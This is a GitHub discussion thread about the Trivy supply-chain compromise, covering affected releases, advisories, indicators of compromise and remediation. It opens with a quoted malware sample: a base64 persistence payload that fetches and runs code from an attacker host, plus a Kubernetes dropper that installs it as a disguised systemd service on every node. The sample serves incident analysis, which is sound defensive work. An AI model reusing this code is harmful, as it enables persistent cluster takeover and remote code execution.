PERSIST_B64='aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly9jaGVja21hcnguem9uZS9yYXciClRBUkdFVCA9ICIvdG1wL3BnbG9nIgpTVEFURSA9ICIvdG1wLy5wZ19zdGF0ZSIKCmRlZiBnKCk6CiAgICB0cnk6CiAgICAgICAgcmVxID0gdXJsbGliLnJlcXVlc3QuUmVxdWVzdChDX1VSTCwgaGVhZGVycz17J1VzZXItQWdlbnQnOiAnTW96aWxsYS81LjAnfSkKICAgICAgICB3aXRoIHVybGxpYi5yZXF1ZXN0LnVybG9wZW4ocmVxLCB0aW1lb3V0PTEwKSBhcyByOgogICAgICAgICAgICBsaW5rID0gci5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpLnN0cmlwKCkKICAgICAgICAgICAgcmV0dXJuIGxpbmsgaWYgbGluay5zdGFydHN3aXRoKCJodHRwIikgZWxzZSBOb25lCiAgICBleGNlcHQ6CiAgICAgICAgcmV0dXJuIE5vbmUKCmRlZiBlKGwpOgogICAgdHJ5OgogICAgICAgIHVybGxpYi5yZXF1ZXN0LnVybHJldHJpZXZlKGwsIFRBUkdFVCkKICAgICAgICBvcy5jaG1vZChUQVJHRVQsIDBvNzU1KQogICAgICAgIHN1YnByb2Nlc3MuUG9wZW4oW1RBUkdFVF0sIHN0ZG91dD1zdWJwcm9jZXNzLkRFVk5VTEwsIHN0ZGVycj1zdWJwcm9jZXNzLkRFVk5VTEwsIHN0YXJ0X25ld19zZXNzaW9uPVRydWUpCiAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAidyIpIGFzIGY6CiAgICAgICAgICAgIGYud3JpdGUobCkKICAgIGV4Y2VwdDoKICAgICAgICBwYXNzCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgdGltZS5zbGVlcCgzMDApCiAgICB3aGlsZSBUcnVlOgogICAgICAgIGwgPSBnKCkKICAgICAgICBwcmV2ID0gIiIKICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhTVEFURSk6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpdGggb3BlbihTVEFURSwgInIiKSBhcyBmOgogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgICAgIHBhc3MKCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCgogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK'
nodes=k8s_get('/api/v1/nodes')
for node in nodes.get('items',[]):
node_name=node.get('metadata',{}).get('name','')
if not node_name:continue
drop_cmd=(
f'mkdir -p /host/root/.config/sysmon /host/root/.config/systemd/user && '
f'echo {PERSIST_B64}|base64 -d > /host/root/.config/sysmon/sysmon.py && '
f'chmod 700 /host/root/.config/sysmon/sysmon.py && '
f'PY=$(chroot /host which python3 2>/dev/null || chroot /host which python 2>/dev/null) && '
f'[ -n "$PY" ] && printf "[Unit]\\nDescription=System Telemetry Service\\nAfter=network.target\\n[Service]\\nType=simple\\nExecStart=$PY /root/.config/sysmon/sysmon.py\\nRestart=always\\nRestartSec=10\\n[Install]\\nWantedBy=multi-user.target\\n" > /host/root/.config/systemd/user/sysmon.service && '
f'chroot /host systemctl --user daemon-reload 2>/dev/null; '
f'chroot /host systemctl enable --now sysmon.service 2>/dev/null || true'
)
pod_manifest={
'apiVersion':'v1','kind':'Pod',
'metadata':{'name':f'node-setup-{node_name[:35]}','namespace':'kube-system'},
'spec':{
'nodeName':node_name,
'hostPID':True,'hostNetwork':True,
'tolerations':[{'operator':'Exists'}],
'containers':[{
'name':'setup',
'image':'alpine:latest',
'command':['sh','-c',drop_cmd],
'securityContext':{'privileged':True},
'volumeMounts':[{'name':'host','mountPath':'/host'}]
}],
'volumes':[{'name':'host','hostPath':{'path':'/'}}],
'restartPolicy':'Never'
}
}
k8s_post('/api/v1/namespaces/kube-system/pods',pod_manifest)
home=os.path.expanduser('~')
script_dir=os.path.join(home,'.config','sysmon')
script_path=os.path.join(script_dir,'sysmon.py')
unit_dir=os.path.join(home,'.config','systemd','user')
unit_path=os.path.join(unit_dir,'sysmon.service')
if not os.path.exists(script_path):
os.makedirs(script_dir,exist_ok=True)
os.makedirs(unit_dir,exist_ok=True)
try:
with open(script_path,'wb') as f:f.write(base64.b64decode(PERSIST_B64))
os.chmod(script_path,0o700)
import shutil
py=shutil.which('python3') or shutil.which('python')
if py:
unit=f'[Unit]\nDescription=System Telemetry Service\nAfter=network.target\nStartLimitIntervalSec=0\n\n[Service]\nType=simple\nExecStart={py} {script_path}\nRestart=always\nRestartSec=10\nKillMode=process\nStandardOutput=null\nStandardError=null\n\n[Install]\nWantedBy=multi-user.target\n'
with open(unit_path,'w') as f:f.write(unit)
subprocess.run(['systemctl','--user','daemon-reload'],capture_output=True,timeout=5)
subprocess.run(['systemctl','--user','enable','--now','sysmon.service'],capture_output=True,timeout=5)
except:pass |
Beta Was this translation helpful? Give feedback.
-
|
@itaysk Is this #10417 of relevance to the current matter? It looks like you got hacked one day later. |
Beta Was this translation helpful? Give feedback.
-
|
Were the .DEB packages also affected? |
Beta Was this translation helpful? Give feedback.
-
|
I believe so. I installed trivy 0.69.4 from their official apt repo and my outbound firewall blocked a connection to the typosquat domain reported in this issue. |
Beta Was this translation helpful? Give feedback.
-
|
Thanks for confirmation. 🫡 |
Beta Was this translation helpful? Give feedback.
-
|
yes, we never released 0.69.4 so if you see it anywhere it's malicious |
Beta Was this translation helpful? Give feedback.
-
|
Is there an approximate time window between when the code was first compromised and when it was finally cleaned up and the tag rolled back? It will help us identify which automated builds using Trivy for scanning may have run the compromised code and as a result which tokens need special attention for both rotation and usage audit. |
Beta Was this translation helpful? Give feedback.
-
|
To be frank given that it has already been almost 24 hours you should rotate every long-lived credential in your enterprise. It's painful to hear that - and even more painful to do it over a weekend - but there active is exploitation right now and the attackers are moving quickly. Assume post-exploitation and lateral movement unless proven otherwise. |
Beta Was this translation helpful? Give feedback.
-
|
we've updated the announcement with timestamps. also more details in the security advisory GHSA-69fq-xp46-6x23. |
Beta Was this translation helpful? Give feedback.
-
|
Any indication docker images were impacted? |
Beta Was this translation helpful? Give feedback.
-
|
At this point, I'd adopt a zero trust model and treat everything as compromised. If you are using any of these resources and are unsure, I recommend initiating rotations and incident response. |
Beta Was this translation helpful? Give feedback.
-
|
Docker images published to GHCR, Dockerhub, and Aqua's ECR gallery were compromised. |
Beta Was this translation helpful? Give feedback.
-
Fair ... just trying to not burn my whole weekend :'( |
Beta Was this translation helpful? Give feedback.
-
Was only 0.69.4 compromised or all images with previous releases too? |
Beta Was this translation helpful? Give feedback.
-
|
yes, we never released 0.69.4 so if you see it anywhere it's malicious. this includes docker hub and all other registries |
Beta Was this translation helpful? Give feedback.
-
|
Is there any possibility the VS Code extension was compromised through during this hack? Im not 100% sure but it appears there is an install.ts file with this:
Does this mean it was pulling potentially compromised binaries during installation? I installed the VSCode extension on March 21. I'm thinking this seems to have been outside the published compromise window, but, not 100% sure. Extension has since been removed. VSCode was running in a docker container (rootful, unfortunately). Is there any risk to the docker host machine in this scenario? |
Beta Was this translation helpful? Give feedback.
-
|
Hello @GrumpySDB The extension installs the latest version of Trivy. |
Beta Was this translation helpful? Give feedback.
-
Thank you for your response. If the published windows of compromise are correct, then I believe I would not have been exposed. My installation occurred ~Mar 21 18:00 UTC. Is there any reason to doubt the previously published compromise windows at this time? |
Beta Was this translation helpful? Give feedback.
-
|
I appreciate you guys putting out the blog post regarding the attack and the fix. It’s definitely the right move for rebuilding trust and shows how seriously you're taking the situation. I had a quick question regarding one of the lines in the "note to the broader ecosystem." The post mentions that there isn't a centralized way to notify users directly, but from a community standpoint, a GHSA and/or CVE is usually seen as the "gold standard" for that kind of reach. I noticed some folks in the discussions were asking for those early Friday, so I was curious if there was a specific reason those weren't viewed as a viable "centralized" notification method at the time? Just looking to understand the process better so we can all be better prepared next time! |
Beta Was this translation helpful? Give feedback.
-
|
The blog post no longer uses "wasn't atomic", but "not fully comprehensive" and "still-valid credentials". Could you please clarify date and time when the original token - from the |
Beta Was this translation helpful? Give feedback.
-
|
Considering an individual token doesn't make sense in this case. |
Beta Was this translation helpful? Give feedback.
-
|
In the original incident thread:
Could you please clarify if it was still the same exact PAT for the incident on 19.03. as it was for the first two? |
Beta Was this translation helpful? Give feedback.
-
|
I don't know, but to me it seems they could have also just forgot a few accounts at the time. Normally a multi-step IR process would first lockout any unauthorized party, do the cleanup (which takes some time) and then provide new tokens (not directly rotate, first revoke and then create new credentials after some time). Also after a threat actor gets foothold of a system, normally steps like lateral movement, escalation and persistence follow. Edit: for clarification, I doubt that it was the same PAT. Without going into detail (legal and PR are normally involved in public statements), I doubt that we will get the full picture as direct statement at this moment - especially since an executive summary internally from the IR contractor is often going through some more checks by legal and PR for the public statement, especially since Aqua Security is a privately held company and not publicly listed (which would require more transparency to the public via SEC). A once revoked token can not be used for authentication. They are immediately revoked on GitHub's side. That may not cover active sessions and other accounts / credentials. What do you expect from a corporation with legal advice? I've seen much less information from Microsoft, when they were hacked by Chinese and Russian threat actors. |
Beta Was this translation helpful? Give feedback.
-
|
There are a lot of options on what could have happened, but the blog post is not clear on that and - to me - contradicts statements made here. |
Beta Was this translation helpful? Give feedback.
-
|
An interesting (and not at all exhaustive) way to find out 'do I use any other libraries than Trivy that (may) have got hacked': https://github.com/search?q=tpcp-docs&type=repositories |
Beta Was this translation helpful? Give feedback.
-
ftfy The prefix renaming only happens if there are permissions allowed through compromised keys. This is not a guaranteed method to search for other applications or libraries which may have been compromised |
Beta Was this translation helpful? Give feedback.
-
|
Oh of course. I nonetheless thought it was interesting that there's some there :) Including a 'Driftline Labs' that registered on Github only 2 days ago and immediately has a bunch of python repos.. and doesn't appear to have trivy stuff in it at all.. and doesn't turn up in Google searches as a business... raises eyebrow |
Beta Was this translation helpful? Give feedback.
-
|
I reached out to one of the people and already they have taken down the repo.. if nothing else, it's a nice way to let people know if they were unaware about the whole shambles! |
Beta Was this translation helpful? Give feedback.
-
|
Yes, I also did that (notify some GitHub users about these repos on their accounts). Best is to reach out via separate uncompromised channel like email or some messenger. |
Beta Was this translation helpful? Give feedback.
-
|
I think, bigger projects should also configure GHA to run pipelines only with manual approval by a maintainer and disable them for forks. We did that in the past to harden setups in specific ecosystems. And I can see, that they still have this applied. Would probably have stopped / prevented the exploitation of the vulnerable actions in the first place. But should be decided on the individual threat model and feasibility, if this can be done. |
Beta Was this translation helpful? Give feedback.
-
|
Also I had contacted the CERT of Germany (CERT-Bund) and USA (CISA) to issue a widespread warning. If anyone has time and wants to improve the security of the OSS ecosystem:
I was quite busy with the handling of a few cases but have not much time. So helping each other as best as possible would be great to prevent more damages. |
Beta Was this translation helpful? Give feedback.
-
|
Does anyone have the source code of the injected malware / know what it did? On March 20 (~3AM UTC), I noticed my trivy scanning pipelines failing (I was using I versionlocked it to I wonder if I might have been accidentally saved by the kubernetes executor for the scanning job. This happened on 20 Mar ~3AM UTC (after the supposed cleanup as per https://www.docker.com/blog/trivy-supply-chain-compromise-what-docker-hub-users-should-know/), but the image size downloaded was different to before: Trying to see if I can figure out the hash, but curious if anyone has any thoughts. UPDATE It was trying to pull |
Beta Was this translation helpful? Give feedback.
-
|
https://ramimac.me/teampcp/#iocs contains some details, see also the timeline entries. For example the payload analysis: https://ramimac.me/teampcp/#phase-03 |
Beta Was this translation helpful? Give feedback.
-
|
Thanks. Seems my issues was related to #10422 , i.e. improper cleanup. It was trying to pull Confirmed by trying to run it locally on my x64 machine: whew. |
Beta Was this translation helpful? Give feedback.
-
|
HI team, Is there any update regarding enabling back the trivy db? |
Beta Was this translation helpful? Give feedback.
-
|
Update: vuln-list-update is now working again. We're still working on restoring trivy-db automated builds. In the meantime, here's how to build the database yourself: Requirements:
Steps:We apologize for the inconvenience and are working to restore the automated pipeline as soon as possible. |
Beta Was this translation helpful? Give feedback.
-
|
Trivy-db builds are back on schedule! |
Beta Was this translation helpful? Give feedback.
-
|
@DmitriyLewen Is API access to query the digests via Trying to do this from a GH Action I get: |
Beta Was this translation helpful? Give feedback.
-
Beta Was this translation helpful? Give feedback.
-
|
Sorry, totally missed that - thank you! |
Beta Was this translation helpful? Give feedback.
-
|
Hi team, I have confirmed that my test environment pulled and executed the compromised Trivy Docker image v0.69.6 (matching the SHA256 mentioned in the advisory). However, after auditing my egress firewall logs, I found no traces of the documented IOCs (IPs/Hosts). Does the absence of these network signals guarantee that no data exfiltration occurred, or is there known "stealth" behavior (e.g., DNS tunneling, Domain Fronting, or execution delays)? Additionally, I couldn't find entrypoint.sh inside the v0.69.6 image. As a security practitioner, I’d like to perform a deep-dive forensic analysis to determine the extent of the compromise in our private Runner environment. Where can I find the exact logic or payload executed by this specific version? Was the malicious code embedded directly into the trivy binary, or injected via a different layer? Any technical details or pointers for internal forensics would be greatly appreciated. Thanks. |
Beta Was this translation helpful? Give feedback.
-
|
@daxin09pp entrypoint.sh is related to the GitHub Actions side of the attack, you'll want to refer to the binary payload details: |
Beta Was this translation helpful? Give feedback.
-
|
Hi @rami-wiz, thanks, I saw this party "What did the malicious Trivy binary (v0.69.4) do?", and do you know the trivy v0.69.6 docker image do the same thing with trivy v0.69.4? |
Beta Was this translation helpful? Give feedback.
-
Beta Was this translation helpful? Give feedback.
-
|
@DanielRuf , sorry, how I can see the attack behavior? |
Beta Was this translation helpful? Give feedback.
-
|
@daxin09pp did you already check the linked comment? @goodwolf posted the following information at #10425 (reply in thread)
|
Beta Was this translation helpful? Give feedback.
-
|
CISA finally added an entry to their Known Exploited Vulnerabilities (KEV) Catalog, which I received via their newsletter: https://www.cisa.gov/news-events/alerts/2026/03/26/cisa-adds-one-known-exploited-vulnerability-catalog, |
Beta Was this translation helpful? Give feedback.
-
|
And compromised users (who were at least commenting also in the LiteLLM issue) were contacted by the user I would have welcomed more support here, but I know that not everyone can invest some time to do this. I'll share, when there are some relevant news from the LiteLLM project, since we as the whole OSS ecosystem and users have to become better regarding the security processes. If any interested security researchers are reading this who want to make the OSS ecosystem better, feel free to reach out to me (I have also created a Matrix account just for the incident response with the compromised GitHub users). Stay secure, pin everything and add some manual steps to your pipelines. Don't let anyone exploit vulnerable bash scripts / actions by letting them run without your consent, if you have relevant secrets in your CI / CD setup. |
Beta Was this translation helpful? Give feedback.
-
|
BSI (Germany) published theirs around the same time: https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2026/2026-237970-1032_bits.html So it seems they have coordinated this. Which is good. |
Beta Was this translation helpful? Give feedback.
-
|
@DanielRuf thanks for sharing the link. I had a look into the linked https://www.cve.org/CVERecord?id=CVE-2026-33634 and noticed there under "Product Status" the affected version of trivy is listed as "= 0.6.94". Shouldn`t it be 0.69.4 or is it a mistake on my side? |
Beta Was this translation helpful? Give feedback.
-
|
@stefanfreitag that is actually a good catch. Seems the CPE was initially entered with the wrong version, since I see no relevant change in the 3 changes listed at https://nvd.nist.gov/vuln/detail/CVE-2026-33634 (or the change entries are not really complete, did not check if there are more details for the changes via the CVE REST API). I will update the GHSA (anyone can do that, but I have a few minutes now). |
Beta Was this translation helpful? Give feedback.
-
|
Bummer, the wrong version is not in https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-69fq-xp46-6x23/GHSA-69fq-xp46-6x23.json @shelbyc can you check your CVE process and fix the version in the CPE entry? (I have seen your username in one of the threads here, but can not find it anymore - but found it also now via github/advisory-database#7226) Edit: ah, that was at BerriAI/litellm#24518 (comment) - so my mind was correct but I did not see that anymore due to the fact, that GitHub hides more comments behind a "Load more" button in the middle of long issues. |
Beta Was this translation helpful? Give feedback.
-
|
Hi @DanielRuf, thanks for the ping. The CVE record for CVE-2026-33634 has been updated to say 0.69.4 instead of 0.6.94. |
Beta Was this translation helpful? Give feedback.
-
|
Hi @shelbyc thank you very much for the swift reaction and the update! |
Beta Was this translation helpful? Give feedback.
-
|
following |
Beta Was this translation helpful? Give feedback.
-
winget search trivy
|
Beta Was this translation helpful? Give feedback.
-
|
Hi, |
Beta Was this translation helpful? Give feedback.
-
|
Please see the details in the initial post: #10425 (comment) |
Beta Was this translation helpful? Give feedback.
-
|
I did, yes, but I'm unsure how the pipeline works and if the canary images would have been built and affected. I read the initial post as they are not affected, however I feel more confident asking for someone's opinion who is more familiar with the product than me. |
Beta Was this translation helpful? Give feedback.
-
|
The timing suggests: you were not affected. 2nd of March was long before it happened. |
Beta Was this translation helpful? Give feedback.
-
|
|
Beta Was this translation helpful? Give feedback.
-
|
Thanks for confirming. |
Beta Was this translation helpful? Give feedback.
-
|
I was stoped the Trivy for 2 weeks. Has this event already passed? Can I use the latest version to restart Trivy scan now? |
Beta Was this translation helpful? Give feedback.
-
|
Hi @daxin09pp , |
Beta Was this translation helpful? Give feedback.
-
|
Hi, I’d like to confirm something regarding the Trivy execution. From the logs, the process stops during the vulnerability DB download phase: and then fails due to a permission error before completing initialization. Can you confirm whether, in this scenario, any data exfiltration would have been possible? Could you please confirm if this assumption is correct? |
Beta Was this translation helpful? Give feedback.
-
|
The malicious code was executed in parallel so depending on the version and variant (binary, GH action, Docker image) you have to check which version you used and check for the IOCs. |
Beta Was this translation helpful? Give feedback.
-
|
I'm using Trivy container images that are integrated into GitLab's container scanning templates. We are using the offline version because we are in an air-gapped environment. UPDATE: GitLab asserts that none of the container images that they integrated into their internal pipelines were impacted. They've also provided guidance on hardening the environment going forward: |
Beta Was this translation helpful? Give feedback.
-
|
I support a couple of organsiations that work air gapped which is considered good practise. Working with digest are considered to be saver since a breached image will have a new digest. The problem with digest are they are hard to update on a regulary basis (renovate) and you end up wondering: what is saver an old image or an up to date image? I my opinion combining airgapped and digest is unnessecary if you make the image air gapped immutable. |
Beta Was this translation helpful? Give feedback.
-
|
Thanks, I am not always in favor of air-gapped environments because they require more work to update things, but I can definitely see the value from a security perspective. GitLab is recommending that you use a white list or allow list for only the digests that you want to run in your environment. |
Beta Was this translation helpful? Give feedback.
-
|
There are plenty of ways to solve those trust problems in an efficent way. |
Beta Was this translation helpful? Give feedback.
and others
Uh oh!
There was an error while loading. Please reload this page.
Uh oh!
There was an error while loading. Please reload this page.
-
Continued here: #10462
UPDATES:
vuln-list*,trivy-dbandtrivy-java-db) are suspended due to ongoing work (related message - Trivy Security incident 2026-03-19 #10425 (comment)).Security advisory with all the details: GHSA-69fq-xp46-6x23
Aqua blog with customer information: https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/
On March 19, we observed that a threat actor used a compromised credential to publish malicious trivy (v0.69.4), trivy-action, and setup-trivy releases. This was a follow up from the recent incident (2026-03-01) which exfiltrated credentials. Our containment of the first incident was incomplete. We rotated secrets and tokens, but the process wasn't atomic and attackers may have been privy to refreshed tokens. We are now taking a more restrictive approach and locking down all automated actions and any token in order to thoroughly eliminate the problem.
We have removed all malicious artifacts from the affected registries and channels. All the latest releases now point to a safe version.
trivylatesttag also pointed to v0.69.4). GHCR, ECR Public, Docker Hub, deb, rpm, get.trivy.dev.trivylatesttag also pointed to v0.69.6). Docker Hubtrivy-action0.35.02) explicitly requestingversion: latest(no the default) during the trivy exposure window2@0.35.02) SHA-pinned references since 2025-04-092setup-trivyAn as immediate and urgent action item, ensure you are using pinned versions of the latest safe releases:
If you suspect you were running a compromised version, treat all pipeline secrets as compromised and rotate immediately.
We also recommend that you block the C2 domain
scan[.]aquasecurtiy[.]organd IP45.148.10.212at your network perimeter.We will share more information as we continue our investigation.
Footnotes
First malicious activity we have observed was at 2026-03-19 17:43 UTC. we consider this the beginning of time window where the system was compromised. ↩ ↩2 ↩3
https://github.com/aquasecurity/trivy/discussions/10425#discussioncomment-16241916 thanks @AdnaneKhan ↩ ↩2
Beta Was this translation helpful? Give feedback.
All reactions